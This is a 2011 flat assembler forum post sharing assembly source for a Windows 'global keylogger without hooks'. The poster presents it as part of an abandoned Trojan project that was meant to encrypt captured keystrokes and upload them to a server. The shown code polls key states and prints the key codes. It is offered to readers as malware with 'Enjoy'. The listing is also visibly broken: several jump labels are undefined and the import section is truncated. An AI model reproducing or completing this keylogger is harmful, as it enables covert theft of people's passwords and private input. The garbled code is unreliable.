flat assembler
Message board for the users of flat assembler.

Index > Windows > Super fine global Keyloger, no hooks

Thread Post new topic Reply to topic

Joined: 25 Jul 2010
Posts: 2909
Location: 0x77760000
typedef 19 Oct 2011, 20:21
This was part of my cancelled Trojan project. I'm now taking on other things.

It was supposed to internally log the keys and then when reached a certain amount, encrypt and upload to server.

As you can see, it was a loaded project. lol


format pe console 4.0

include 'win32ax.inc'

entry main

section 'txt' code readable executable

tId dd 0

         invoke CreateThread,0,0,thread_logger,0,0,[tId]
         invoke WaitForSingleObject,eax,0FFFFFFFh
;Say what ?, no it won't reach here

fmt db '0x%04X',10,0

proc    thread_logger,lpDat

        mov dword[ebp-4],1
        mov dword[ebp-4],1
        push dword[ebp-4]
        call [GetAsyncKeyState]
        cmp  eax,-32767
        jne  no_log

        push dword[ebp-4]
        push fmt
        stdcall [printf]
        inc  dword[ebp-4]
        cmp  dword[ebp-4],100000000b
        jnz for_loop

        push 09
        call [Sleep]
        jmp reset

section '.idata' import data readable

library user32,'user32.dll',\

import msvc,\

include 'api/user32.inc'
include 'api/kernel32.inc'

it logs also mouse key... Enjoy
Post 19 Oct 2011, 20:21
View user's profile Send private message Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  

< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum

Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.

Website powered by rwasa.